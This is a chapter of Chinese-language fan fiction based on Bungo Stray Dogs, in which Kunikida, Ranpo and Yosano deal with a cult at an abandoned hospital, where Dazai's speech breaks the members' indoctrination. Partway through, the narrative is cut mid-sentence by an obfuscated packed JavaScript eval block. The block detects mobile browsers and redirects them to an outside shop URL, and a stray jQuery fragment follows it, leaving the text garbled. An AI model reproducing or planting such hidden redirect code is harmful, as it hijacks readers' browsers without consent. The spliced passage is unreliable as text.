23. 太宰,好久不见
作品:《“书”想和太宰谈恋爱》 “大人!!!”
“我爱你我爱你我爱你啊啊啊啊!!!”
太苦我像徐长卿喝了假酒。
疯了吗?
国木田独步目瞪口呆。
这个第一天见面冷若冰霜,第二天见面寒如南极,第三天淡似止水,足足一个月不像个人的人竟然会出现这么外放的情感???
是你疯了还是我疯了?
坐在疯子身边的国木田像个小卡拉米,一动不敢动。
太苦我则是发了狠、忘了情,双手举起不知道从哪里掏出来的荧光棒挥打。
大概是他的高兴溢于言表,其他人也跟着他快乐起来,众人双手前后挥舞,手机牢牢攥在手心,点开手电筒的光。
“啊啊啊啊!!”
“神!我们敬仰你奥奥!!!”
“身归您,钱归您,我们的命也给您!!!”
一个邪教的聚集地突然转变,化作歌唱大舞台。
台上的人快乐,台下的人快乐,独独幕后的一群白衣人面面相觑,不发一言。
国木田:(太空猫猫、思维升华.jpg)
难道是我更不上时代了吗?
命苦的没边了。
传教人士也懵啊,他们呆呆看着。
“到底怎么回事。”
看着太宰治以一副大神似的高高在上,俯瞰众人,随意挥动臂膀,披风便顺他意愿,在空中摇摆出弧度,白色美丽的线条组合成他这个人。
不似俗人,似仙人。
他的眼神,就像是看穿所有人的内在人格,仿佛云端上傲立的仙人一般的。
这是国木田第一次直面这类人。
可怕、疯狂、极端、
“怪物……?”这是太宰治给他留下的第一印象。
自我、独异、漠然、
“不对。”这是他这一瞬间产生的窒息情绪。
周围人在闹,在笑,跳起来,嬉戏狂乱的叫喊穿破耳膜,将脑子搅成一趟烂泥。
回不过神,国木田独步怎么也动不了。
他像是在做一场固定噩梦,欢腾的大家和格格不入的他,可笑的任务和不远处任务目标的板上丘丘先生。
那位失踪人员在这里待了一周。
他似乎也被这里同化了。
该怎么做才能解决这一场可怕的闹剧?国木田蜷缩身体,手机被他攥在掌心。
他一时间不知如何解决。
恍惚之中,眼前好像又出现了很久之前的梦,那里有一双瞪大的眼睛,还有自己沾满血的拳头,周围凌乱倒塌很多尸\体,他身下的厨师长也是其中一个。
“哈……哈……”国木田独步被幻觉惊的大喘气。
冷汗从脸上流下。
这么下去不行!
他这么想着,紧急拨通了乱步先生的电话,寻求救援。
“乱步先生!”
即使大声呼喊,他的声音在人海之中依旧不显眼,只能刚好透过手机的这一方,传到另一方的耳边。
江户川乱步迷茫地晃了晃四方黑盒子,懒懒说道:“你那边好吵哦,国木田~”
国木田道:“现在不是吵不吵的问题了,乱步先生。”
乱步嗯嗯点头说:“发生什么事了?告诉我。”
“记得讲清楚一点,你现在呼吸很急躁。”他依照社长安慰他的话术安慰后辈,
“不要紧张,那边的地点我已经报到了政府,再过十分钟你们就能得到救援,不会有人因此死去。”
国木田喘息道:“不,这里不会有人会死。”
“仔细说说。”江户川乱步心头对这一次委托产生好奇,他问道。
国木田独步猛地深吸一口气。
他语速飞快,将出门后发生的一切全说了出来,其中不乏有些语无伦次。
好在江户川乱步很快就理清了时间线。
“我知道了。”江户川乱步说道,冷静地告诉他,“传教组织……是这样啊。丘丘警官被洗脑了,好麻烦,不过看在他之前好心帮我指路的份上,再麻烦也要做。”
他一下从躺椅上跳下,鞋子踏上地面。
从桌子上拿好防身物品,他跑出去,开门的一瞬间是一个人站在外面。
“晶子!”乱步对这个突然从海外回来的后辈,有些惊讶。
他睁大眼睛说:“不是说下周才回来吗?”
与谢野晶子展露出一个纯粹的笑,高兴地说:“国外进修虽然很不错,但果然还是家里最舒服!”
“那是当然了,”乱步自得地扬起胸膛,接着抓住她的手腕,带着一起跑,“跟我来,有事要忙!”
“怎么了?”与谢野晶子茫然地跟着跑。
“是要打架吗,但是我只拿了几柄手术刀,攻击力可能会有点弱……”她交替着脚上行动并不便的高跟鞋,提出自己的想法,“要不要先去楼下买一个电锯?”
“……”
江户川乱步跑步的一个趔趄,险些摔倒。
“太恐怖了吧,晶子,”他猛地转头,脸上沾染抗拒,“你只是才出去一趟而已,竟然被国外霍霍成这个样子,他们是不是教了你很多过分的事情!例如分尸、溶解、缝合——”
“没有,”与谢野晶子紧急打断,“我也只是为了安全着想。”
乱步狐疑,瞅她一眼,说道:“给我带路就好,青山第四精神病院,国木田和新人君在那里,他们遇见了一点小麻烦。”
“好!”
与谢野晶子狠狠一点头,接着双腿下蹲,手臂一甩,利落将试图往楼下冲的江户川乱步打横抱起。
“失礼了,乱步,这样速度更快!”
话落,她一步三格跳下楼梯。
“欸?!!”
飞扬起来的过膝百褶裙,裙摆在空中划过,黑色绸缎仿若流星一般迅速,霎时间飞出去。
空气中只剩高跟鞋钉在地面的“哒哒”声。
腾空是一瞬间的事。
双腿离地,衣服也不受控制乱蹭。
江户川乱步下意识抓住与谢野的手臂,眼睛惊恐瞪出猫猫眼,看着有些迷蒙。
“请抓稳我。”与谢野面不改色的朝前跑。
“好吧,虽然这种姿势很奇怪,但毕竟时间紧急,我就不气你随意摆弄我了。”他说着,抓她抓的更稳。
像是一只不大的猫,紧紧握住她的靠谱。
她的速度确实如他所说,很快。不过一瞬间,异能力者天生体质好,加上她本身努力开发出的百分百力量,瞬间到达楼底。
他们走出漩涡咖啡厅的大门,正巧一辆出租车
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250980|197935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
停在路边,与谢野晶子利落地打开车门,把手中的“猫”丢进去,自己紧跟着,手快关门。
“青山第四精神病院,送到那边靠的长街!”她大声说。
司机应声道:“好咧!”
废弃病院。
太宰治兀自在高台上发表自己的感言:“站在这里被大家观赏许久,我很感谢你们愿意一直这么注视着我,就像你们很感谢我一直这么怜爱着你们,”
“台上的风景,很美,而你们,更加要耀眼、绚丽。”
“在我的眼里,你们,是要比一日三餐更重要的余力,如果就这样和大家分开,或许死亡更得我心。”
“我知道,你们也一定和我一样,像现在这样执念于某些事物。”太宰治弯眉笑笑,言语轻松。
他徐徐地说:“但是,不想失去的东西,总有一天还是会离你而去。”①
在众人的注目礼下,他的发言让周围安静,所有人都屏住呼吸,高高竖起耳朵听他演讲,渴望着得到更深的救赎。
“所渴求的一切存在价值的东西,从得到它的那一刻起就注定有失去的一天,所以啊,不存在任何信我者,得永生的真实案例呢。”②
“神明,并不存在。”
“人,是为了救赎自己而活的。”③
随他话落,人群轰响。
周围充斥着茫然和恍惚的眼神,他们像是回归了神智,又像是还沉浸在不久前的疯狂中。他们的眼睛神色浅淡,眼底无光,但又似乎在聚焦,缓缓拢起光照。
国木田独步睁开半只眼睛,试探着抬头。
周围确实安静了,他抬头去看,只见大家都神情震撼。
在这里呆了很久,他们的脑子被传输了很久“神明存在”“我们无所不能”“信我们得永生”“信我们的钱权”“天堂是大家的归处”“地狱不敢冒犯”……
大脑早已生锈,身体早已麻木。
直到这忽然的一天,天堂的大家迎来神派的天赐。
“圣子”大人发话。
他告诉大家,什么都不存在,无神、无命、无缘分,无钱、无权、无命运,什么都没有,只只身一人,只孤独寂寞。
“我竟然会因为这些话被圈养起来,好恶心……”被抓进来一周,还没被洗脑特别严重的板上丘丘两眼发黑,他大抵明白现状,急促呼吸空气。
国木田独步凑过去道:“你正常了?”
板上丘丘道:“正常了,我们认识吗?”
“你妈妈让我叫你回家吃饭,她找你很久了。”他说,从口袋里拿出一叠折起的纸,展开后是丘丘警察的脸。
“他说他怕你出事,委托我们来查找你的踪迹。”
“谢谢,我妈妈一定担心了很久才下定决心,谢谢你们能帮助她。”板上丘丘认真地向他鞠躬。
国木田摆手说不用。
板上丘丘恢复理智不是特例,被折磨的众人接连恢复神智,像雨后春笋般。
太苦没有动作,他怔怔的仰望高处:“太宰……”
你才发现那个人是太宰吗?!
太迟钝了吧!
太宰治垂目道:“好久不见呢,太苦君。”
他们相隔人海,声音却传得如此清晰。
“好久不见,”
我的太宰。

